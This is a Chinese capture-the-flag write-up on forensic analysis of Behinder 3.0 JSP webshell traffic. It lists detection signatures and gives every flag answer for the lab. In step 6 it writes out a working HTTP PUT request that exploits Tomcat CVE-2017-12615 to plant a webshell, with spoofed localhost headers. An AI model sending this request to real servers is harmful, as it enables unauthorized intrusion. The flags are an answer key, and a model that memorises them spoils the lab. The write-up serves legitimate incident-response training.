玄機靶場 | 冰蝎3.0-jsp流量分析

文章目錄

    • 一、冰蝎3.0流量特征
    • 二、索引
    • 三、題目列表
      • 步驟#1
        • 黑客IP是什么?
      • 步驟#2
        • 黑客上傳的Webshell名是什么?
      • 步驟#3
        • 黑客上傳WebShell的時間是多少?(格式如:flag{YYYY-MM-DD HH:MM:SS})
      • 步驟#4
        • 木馬的解密key是什么?
      • 步驟#5
        • 黑客執行的第一個命令是什么?
      • 步驟#6
        • 黑客上傳的文件內容是什么?
      • 步驟#7
        • 黑客下載的文件內容是什么?
      • 步驟#8
        • 服務器內的flag是什么?

一、冰蝎3.0流量特征

  • Content-Type
    POST請求的 Content-Type 固定為 application/octet-stream,屬于強特征

  • User-Agent
    內置了16個 User-Agent 頭,通信時會隨機挑選一個,但大多為老舊瀏覽器或罕見設備頭,如果同一IP頻繁變換UA且為這16個之一,可以高度懷疑是冰蝎
  • Accept、Cache-Control
    Accept頭常設為 Accept: text/html, image/gif, image/jpeg, */*; q=.2, */*; q=.2 或類似值,Cache-Control和Pragma常設為no-cache,表示直接從源服務器獲取最新的響應,這些是冰蝎流量默認帶的HTTP頭,普通業務流量較少見

在這里插入圖片描述

  • Content-Length/請求包長度
    因為冰蝎3.0使用AES-256加密算法,加密后的數據體積會膨脹,請求包長度一般會很大,超過正常業務范圍

想要更深入了解冰蝎3.0可以參考文章:冰蝎3.0流量特征分析(附特征)

二、索引

三、題目列表

步驟#1

黑客IP是什么?

先用wireshark語法篩選出http流量

快速分析一遍流量,大部分都是404,說明黑客正在進行目錄掃描。拉到最后那里可以看到有個異常流量,通過PUT方法上傳了indeX.jsp文件,且在請求頭中偽造了多個指向本地地址的字段(如X-Forwarded-For),這種組合是典型的攻擊特征,由此可判定該請求為攻擊者發起的惡意文件上傳行為

因此黑客IP就是192.168.31.61

flag{192.168.31.61}

步驟#2

黑客上傳的Webshell名是什么?

繼續分析流量包,可以看到攻擊者通過POST數據包與indeX.jsp進行通信,且響應內容為加密數據

因此webshell名就是這個文件

flag{indeX.jsp}

步驟#3

黑客上傳WebShell的時間是多少?(格式如:flag{YYYY-MM-DD HH:MM:SS})

找到剛才黑客通過PUT方法上傳的文件直接查看時間即可

flag{2025-02-22 07:47:38}

步驟#4

木馬的解密key是什么?

同樣也是PUT方法的那個流量包,右鍵追蹤HTTP流

可以看到黑客上傳的內容,具體利用的漏洞是Tomcat通過PUT方法進行任意文件寫入(CVE-2017-12615),感興趣的可以網上了解一下

可以看到木馬連接密碼就在文件內容當中,長度為16字節(128位),一般用于AES對稱加密

flag{3f0af7bb4dbcfbd7}

步驟#5

黑客執行的第一個命令是什么?

已知黑客是通過POST與indeX.jsp進行通信,我們修改wireshark語法搜索包含indeX.jsp的流量

http contains "indeX.jsp"

然后復制請求體data內容的ASCII值,如圖所示

這里用到希潭實驗室的藍隊分析工具箱,下載地址:藍隊分析研判工具箱

把復制的數據和之前得到的密鑰放進去解密

可能受環境影響,我這邊顯示有點問題,不過內容還是可以看得懂。經過分析,前面幾個數據包是冰蝎用于連接用的,分析到第四個時可以看到黑客執行的命令

因此黑客執行的第一個命令是ifconfig

flag{ifconfig}

步驟#6

黑客上傳的文件內容是什么?

繼續分析,發現長度為362的流量記錄了創建文件的命令

4ZmxhZ3s0ODUzNzViN2IwNmFkODU2YTc4OGMwZDk1MjI5ZjM1Y30=

但是解碼后得到一堆亂碼,那只能登進目標服務器查看對應文件內容了

題目沒有給出對應的服務器賬號密碼,需要我們滲透進去,那我們可以仿照前面黑客PUT上傳文件的方法,用抓包工具修改發包

先自己隨便選一個協議,生成服務端

然后復制生成的jsp代碼,粘貼到body中,同時修改請求體信息與之前黑客PUT上傳的內容一樣

PUT /6.jsp/ HTTP/1.1
Host: 你的玄機靶機地址:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=3F426B8219ACAB91DF13B18D987842BC
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 782你的冰蝎jsp代碼

然后發包即可,狀態碼顯示201表示成功

在冰蝎連接webshell,根據你之前選的協議選擇對應的類別即可

連接后在文件管理處,找到/home/xj/up.txt,打開文件查看內容,成功拿到flag

flag{485375b7b06ad856a788c0d95229f35c}

步驟#7

黑客下載的文件內容是什么?

繼續分析流量包,分析到最后一個請求包時發現有黑客執行下載文件的命令

對應路徑為/opt/apache-tomcat-8.5.19/conf/server.xml,用冰蝎查看對應文件,成功找到flag

當然也可以查看對應的響應包,同樣也給出了flag

flag{3aacab9ca36a6894c75048e4faf47052}

步驟#8

服務器內的flag是什么?

用冰蝎在服務器內找就可以,最終發現flag在/root/flag.txt里面

flag{ae1d04dd3d15c6a18f904fe50fdf7eca}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/95048.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/95048.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/95048.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

基于物理信息神經網絡(Physics-Informed Neural Network, PINN)的三維熱傳導方程求解器MATLAB

代碼實現了一個基于物理信息神經網絡(Physics-Informed Neural Network, PINN)的三維熱傳導方程求解器。以下是詳細分析:🧠 一、主要功能 main.m: 構建一個全連接神經網絡用于近似三維熱傳導方程的解 ( u(x, y, z, t) …

按鈕計數器:jQuery / AngularJS / Vue / React / dagger.js 實現對比與技術解讀

代碼來源:https://codepen.io/dagger8224/pen/myeKgVQ 任務:實現“按鈕點擊 1”計數器,對比不同框架的寫法與特性,并給出選型建議。 目錄 代碼解讀(逐框架) jQuery(命令式 DOM)Angu…

useEffect中直接使用 await報錯

在 useEffect 中直接使用 await 會報錯,因為 useEffect 的回調函數不能是 async 函數。有幾種正確的方式來處理異步操作: 方法一:在 useEffect 內部創建 async 函數并立即調用 這是最常用的方式。 import React, { useEffect } from react;co…

卷積神經網絡為什么要填充(Padding)

填充(Padding)是卷積神經網絡中一個至關重要且巧妙的設計。它的核心目的可以概括為:為了解決卷積操作導致的特征圖尺寸縮小和邊緣信息丟失問題。

C++ 并發編程:全面解析主流鎖管理類

在 C 的并發世界里,管理共享資源就像是在一個繁忙的十字路口指揮交通。如果指揮不當,就會發生混亂甚至致命的“死鎖”。C 標準庫提供的各種鎖管理工具,就是我們手中的“交通信號燈”,它們各自擁有獨特的職能,幫助我們編…

Spring boot 啟用第二數據源

1. 數據源配置代碼:import com.alibaba.druid.pool.DruidDataSource; import lombok.extern.slf4j.Slf4j; import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; import org.springframework.boot.autoconfigure.jdbc.DataSourceBuilde…

Wi-Fi 時延與掉包的關鍵因素全解析

在無線網絡性能優化中,時延(Latency)與掉包(Packet Loss)是最核心的兩個指標。本文將從 物理層、MAC層、系統棧、業務形態與環境 等多個維度,對 Wi-Fi 時延與掉包的關鍵因素進行全面梳理,并結合…

《Python 文本分析實戰:從單詞頻率統計到高效可視化的全流程指南》

《Python 文本分析實戰:從單詞頻率統計到高效可視化的全流程指南》 一、引言:小任務背后的大世界 在我多年的開發與教學中,文本處理始終是一個繞不開的主題。無論是日志分析、自然語言處理,還是搜索引擎、推薦系統,幾乎所有數據驅動的系統都離不開對文本的理解。而“統計…

12KM無人機高清圖傳通信模組——打造未來空中通信新高度

在無人機技術飛速發展的今天,高清圖傳和穩定的通信模塊無疑是提高無人機作業效率和可靠性的關鍵因素。作為新一代無人機核心技術之一,深圳云望物聯12KM無人機高清圖傳通信模組憑借其卓越的性能,正逐步成為行業內的寵兒,成為無人機…

【LeetCode 熱題 100】62. 不同路徑——(解法二)遞推

Problem: 62. 不同路徑 文章目錄整體思路完整代碼時空復雜度時間復雜度:O(m * n)空間復雜度:O(m * n)整體思路 這段代碼同樣旨在解決 “不同路徑” 問題,但它采用的是一種 自底向上(Bottom-Up)的動態規劃 方法&#x…

C++ 高階錯誤解析:MSVC 與 Qt 全景指南

在 C 開發中,尤其是在 Windows 平臺使用 MSVC 或 Qt 框架 時,程序員經常會遇到編譯錯誤、鏈接錯誤和運行時異常。本文將系統梳理這些問題,按 語法錯誤、類型錯誤、鏈接錯誤、Qt 運行錯誤 分類,并給出 觸發示例、原因分析及修復策略…

基于Net海洋生態環境保護系統的設計與實現(代碼+數據庫+LW)

摘要 隨著全球氣候變化和人類活動的加劇,海洋生態系統面臨著前所未有的威脅。污染、過度捕撈、棲息地破壞等問題嚴重影響了海洋生物多樣性和生態平衡。為了應對海洋生態系統面臨的嚴重威脅,如污染、過度捕撈和棲息地破壞等問題,利用C#語言和…

DoIP路由激活報文

目錄 DoIP路由激活報文詳解 基本概念 報文結構 響應報文 通信流程 注意事項 **DoIP (Diagnostics over Internet Protocol) 報文詳解** **1. DoIP 報文結構** **1.1 通用報文格式** **2. 常見 DoIP 報文類型** **3. 典型 DoIP 報文示例** **3.1 車輛識別請求(廣播)** **3.2 車…

學習Python中Selenium模塊的基本用法(8:元素操作-2)

定位網頁元素后,調用is_displayed函數可以判斷元素的顯示狀態,如百度網站中有默認隱藏的元素,此時即可使用is_displayed函數判斷該元素的顯示狀態,如下面代碼所示:driver webdriver.Chrome() driver.get("https:…

雙指針:從「LC11 盛最多水的容器」到「LC42 接雨水」

LC11 盛最多水的容器 選擇兩條線,它們與x軸構成的容器可以盛的水量取決于兩條線中較短的那條以及兩條線之間的距離。 樸素的思想是使用i和j遍歷height中的所有線,但是這樣的時間復雜度是O(n2)O(n^2)O(n2)。 我們讓i從0開始,j從n-1開始&…

WINTRUST!_GetMessage函數分析之CRYPT32!CryptSIPGetSignedDataMsg函數的作用是得到nt5inf.cat的信息

UEDIT打開nt5inf.cat。第一部分:BOOL _GetMessage(CRYPT_PROVIDER_DATA *pProvData) {DWORD dwMsgEncoding;SIP_SUBJECTINFO *pSubjInfo;SIP_DISPATCH_INFO *pSip;DWORD cbEncodedMsg;BYTE *pbEncodedMsg;DWORD …

編譯esp32報錯解決辦法

報錯信息:CMake Error at build/CMakeFiles/git-data/grabRef.cmake:48 (file):file failed to open for reading (No such file or directory):這個錯誤是由于 Git 的安全檢查導致的。從錯誤信息可以看出,Git 檢測到了"可疑的所有權"&#xf…

【AI】常見8大LLM大語言模型地址

序號AI名稱地址1 ChatGPT (OpenAI)https://chat.openai.com/2Gemini (Google personal AI assistant)https://gemini.google.com/app3Grok (xAI Grok LLM)https://x.ai/4DeepSeek (DeepSeek AI chatbot)DeepSeek5Claude (Anthropic Claude AI)App unavai…

軟件系統的部署方式:單機、主備(冷主備、熱主備)、集群

一、單機部署單機部署是將軟件系統所有組件(應用、數據庫等)部署在單臺服務器上,架構簡單、成本低但存在單點故障風險,適用于低負載或測試場景。一臺服務器壞了,軟件系統無法服務。二、主備(冷主備、熱主備…

從體驗到系統工程丨上手評測國內首款 AI 電商 App

作者:王晨(望宸) 產品界面,往往體現了產品的設計哲學,界面是產品的第一入口。 近期,1688 推出了 1688 AI App,這貌似是國內第一個電商領域的獨立 AI App 應用(若不是,歡…